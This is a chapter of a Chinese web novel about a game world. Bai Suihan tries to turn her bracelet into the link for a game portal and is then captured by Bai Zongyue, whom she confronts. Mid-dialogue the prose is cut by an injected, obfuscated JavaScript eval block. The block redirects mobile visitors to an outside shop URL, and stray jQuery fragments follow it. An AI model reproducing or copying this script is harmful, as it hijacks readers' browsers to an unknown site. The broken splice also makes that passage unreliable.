春煦吃了两口包子,思索了一下,问她:“你为什么觉得白瑾玉不够冷静?我有的时候感觉他和你的确很像,你现在这么冷静,他不该和你一样?”
柏岁寒眉梢微动:“师兄,也许因为他有害怕的事情吧。”
她不知道白瑾玉这辈子和上辈子为什么做出的事不一样。
但他的确在避免她们都不想看见的事情发生。联想到白瑾玉之前做过的噩梦,包括白瑾玉从噩梦中醒来后的反应,她昨天晚上越想越觉得他不会是梦到她的前世了吧?
她大概能明白如果白瑾玉知道了前世的事,他是没办法冷静到哪里去的。
至少他的冷静,不是她认可的冷静。
一顿早饭的时间并不久,柏岁寒站起身,和春煦道别:“师兄,我走了。你慢慢吃。”
春煦盯着她半晌,才回:“和我说这些,仅仅只是想让我知道你的想法吗?”
她笑着应声:“是吧?也许师兄知道的事情,以后能说给不冷静的某人听呢?”
·
游戏内,翠林派山脚下。
柏岁寒御剑飞到坍塌的小院处,青皮已经等在废墟之外。
青皮看了一眼她身后,立刻明白了她做了什么:“你把白瑾玉支走了?”
她径直走进小院倒塌断裂的院门,走到了昨天站过的位置——游戏通道所在的位置。
她没有回答青皮的话,青皮跟着她走进来,也没再说什么。
她抬手施法,蓝色的游戏通道在一地尘土与碎木之中缓缓显现在地面之上。
她迈步进入蓝色的光圈里,果然所处的位置没有发生任何变化。
既没有去到游戏之外,也没有进入虚空。
“这通道还不如我之前那个,这简直是徒有其表吧。”青皮抱着臂在一边讽刺开口。
他饶有兴致地问她:“柏岁寒,这个通道是你打开的?果然你自己不想出去以后,就真的会失去打开游戏通道的能力吧。”
柏岁寒想起之前在青皮派,她走进有任务池的屋子,里面原本因为她的任务系统出现的游戏通道随着她进屋随后缓缓消失,她原本没有把这件事放在心上。
青皮当时的反应很大,很不甘心,觉得她是因为害怕而退缩,才会失去轻松打开游戏通道的能力。
她原本没有在意过青皮的态度。
因为她以为只要她想,她就还是能打开游戏通道。她以为她会一直和青皮不一样,比他特别。
原来只是她自以为是。
她自嘲地笑笑。
上辈子……原来是因为她的心境发生了变化,所以才打不开通道吗?
如果她上辈子碰到了青皮,知道了自己没有了打开通道的能力,会不会她就没有重来的这辈子了?
可惜没有什么如果。
并且她现在还害怕这一次结果和上一次一样,害怕结果就是无法改变。
她蹲下来看着脚下的蓝色荧光,能想到的差别只有……
前世她最后是打开了通道的。
这一次的游戏通道和上一次的差别,只有两个。
不是她打开的,以及通道内缺少与外界相连的“纽带”。
·
白瑾玉和清逸一起,来到了游戏地图的最北边。
他跟着清逸爬上了最北边的高山,就快要到山顶的时候,他的脑中响起了消息提示音。
他轻叩两下右耳耳钉,把消息页面缩小到手心看。
消息来自白淙月。
小叔:手环制作好了。
他皱眉停下脚步,清逸立马察觉到他的停顿,转会身来看他:“怎么了?”
他把白淙月的消息告诉了清逸。
清逸隔了一会儿才问他:“你打算怎么做?”
白瑾玉回了白淙月一个“好”,才回答清逸:“没事,我们先采到药回去。”
他重新启步,速度比之前快了很多:“采到药之后,我再让白淙月来找我。”
·
游戏内,小院。
柏岁寒走到青皮面前。
青皮挑眉:“你看出什么了?这个通道到底能不能用?”
柏岁寒:“你不是来弥补我和白瑾玉的吗?帮我一个忙。”
青皮不语,看着她,一副“你说”的样子。
柏岁寒转了转自己左手手腕上的手环。手环在她腕部只能轻微转动,像紧贴皮肤的绳环,不止绑住了她的手,还绑住了她的心。
“帮我把这个手环和这里的游戏通道连接在一起。”
见青皮不解,她解释:“就是将我手上的手环作为游戏通道连接外界的纽带。”
青皮勾唇:“这是白淙月给你戴的手环,你确定能用?别把这里夷为平地了。”
柏岁寒肯定道:“可以。”
她上辈子试过了。
上辈子给白瑾玉戴上手环之后,她总要想办法把手环取下来,就干脆利用手环作为游戏通道连接外界的纽带,这样游戏通道打开后,手环也就自动融入游戏通道之中了。
上次她成功了。
如果这次差在“纽带”,那就用她的吧。
真好,这次没有白瑾玉的手环可以用。她当然不想再看见属于白瑾玉的手环,一想到白淙月还在制作新的手环,她胸口就像堵了一团云雾,闷得透不过气。
青皮笑意不达眼底:“你不会是恨我给你添麻烦,想要拉着我一起死,报复我吧?”
柏岁寒懒得和他废话:“你不来就算了,我自己来。”
她抬手施法,蓝紫色光芒刚起,青皮握住了她的手腕:“你疯了?岁寒掌门,你要不要看看自己现在脸色多难看?你非要急于这一时?”
柏岁寒扯出一个笑,侧目对上他略有些失措的视线:“急。晚一天,都有无法挽回局面的风险。你想,要是最开始你不来抓我和白瑾玉,也许我们就能在白淙月查出春煦师兄打开游戏通道的事以前把小院搭好了,也许我就不用像现在这样急于这一时了。”
青皮和她对看半晌,撒开她的手:“我来就我来。但是这个小院都成这样了,你不管了?”
青皮微抬下巴,用下巴示意她看周围的废墟。
柏岁寒没看,道:“先确定怎样让通道可以使用,之后再想办法处理小院这里。”
青皮点头:“行。”
他双手抬起,位于胸前,手指并成施法的模样。淡青色法力在他指尖流转,逐渐萦绕在了他并起的两双手之外。
他手势变换,法力波动,柏岁寒收回停留在他脸上的视线,低头,看见自己左手腕上的手环被淡青色光芒包围。
只一瞬,冷冽的气息扩散在了整个小院处。
地面上的游戏通道也亮起了淡青色光芒,逐渐大亮。
只是——
“啪!”地一声!
所有光亮消失,柏岁寒被闪过的蓝紫光刃晃了眼,下意识抬手挡住眼睛。
光刃带起的风吹得她的衣摆猎猎作响,等到她再睁眼,视线所及变成了一片漆黑,她放下手,看着四周的黑暗,心底发寒。
熟悉的办公室布局在她眼前出现,她听见熟悉的讨厌声音响在她身后:
“柏岁寒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17780419|202416||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,说说吧,你们在做什么。”
冷若冰霜的嗓音。
——属于白淙月。
·
游戏内,北边高山山顶。
白瑾玉和清逸采了几株山顶上的特殊药草,就准备打道回府。
这时,他的脑内又响起了一道消息提示音。
他不知怎么有些心慌,把手上正观察的药草放进储物袋,轻叩耳钉。
消息还是白淙月发来的。
小叔:你不用告诉我你在哪里了,也不用等我说来找你。柏岁寒在我这。
他心下一沉,瞬间读懂了白淙月的威胁。
白淙月刚才给他发来消息的时候,显然是想要找他戴手环。他有意只回了白淙月一个“好”,是想等采完药再去处理手环的事。
白淙月竟然连这点时间都等不了,直接抓走了柏岁寒来威胁他。
清逸看出他神色有变:“发生什么了?”
他回答:“岁寒被白淙月抓走了。我得去找他。师姐你先带着药草回门派。”
不等清逸回答,他直接掌心凝起水蓝色微光,打开传送阵传送到白淙月发给他的位置。
·
柏岁寒张嘴,却不知道说什么。
想起前世记忆之后,她彻底没法好好面对白淙月了。
白淙月威胁她,让她给白瑾玉剔除记忆、戴监测手环的记忆在见到白淙月的这一刻如潮水般涌进脑海,势要将她淹没。
白淙月坐在沙发上,正面对着她。这里是青皮派后山的游戏内员工基地,是她之前来过的白淙月的办公室。
办公室里开了两盏壁灯,窗帘拉着,不算亮,使得她和白淙月都只能堪堪看清彼此的表情,而看不清室内的其它物品。
壁灯一盏在她身旁,一盏在白淙月身旁。
事到如今,她能说什么?
老实交代?再怎么说,她的计划也是两全之策,白淙月还有什么不满意的。
之前她说这个计划,只会被白淙月怀疑,白淙月一定不会让她搭这个小院。
……她为什么觉得他现在就会相信她了,他在之前被她骗过那么多次的情况下,现在怎么可能再相信她。
白淙月从来都是冰冷且毫无感情地注视她。她竟然还会有此错觉。
柏岁寒想着觉得自己真好笑,走到白淙月对面的沙发前,直接坐了下来。
她同样冷若冰霜地道:“你看见我在做什么,我就在做什么。我只是想取下我的手环,想要一个能穿梭在游戏世界与外面世界之间的通道。想要看看外面是什么样的,我想这并没有什么错。”
“放火也没有错?”白淙月冷不丁问道。
柏岁寒却立刻意识到了他在说什么。
——他在说她小时候,因为不会使用法力,点着垃圾堆的事。
她有些想不起来自己后来和白淙月回翠林派之后,有没有慌里慌张地和白淙月解释了。
认识白淙月到现在,她清楚地知道,如果她有解释,也是没有用的。
白淙月哪怕相信她是不小心的,也不会安心。
他会想,万一她再不小心呢?
更何况,他并不愿意相信她。
她哂笑一声,这笑意在她脸上持续了很久很久,直到笑意消失,她才道:“白淙月,我想问你一个问题。”
她看着白淙月的双眼:“你不愿意相信我,其实不是因为我不可信吧?而是因为你觉得我不是和你一样活生生的人,是虚假的存在,如果相信我,就是相信我是真实的人,而这让绝对不相信虚幻之事的你无法接受,对吧?”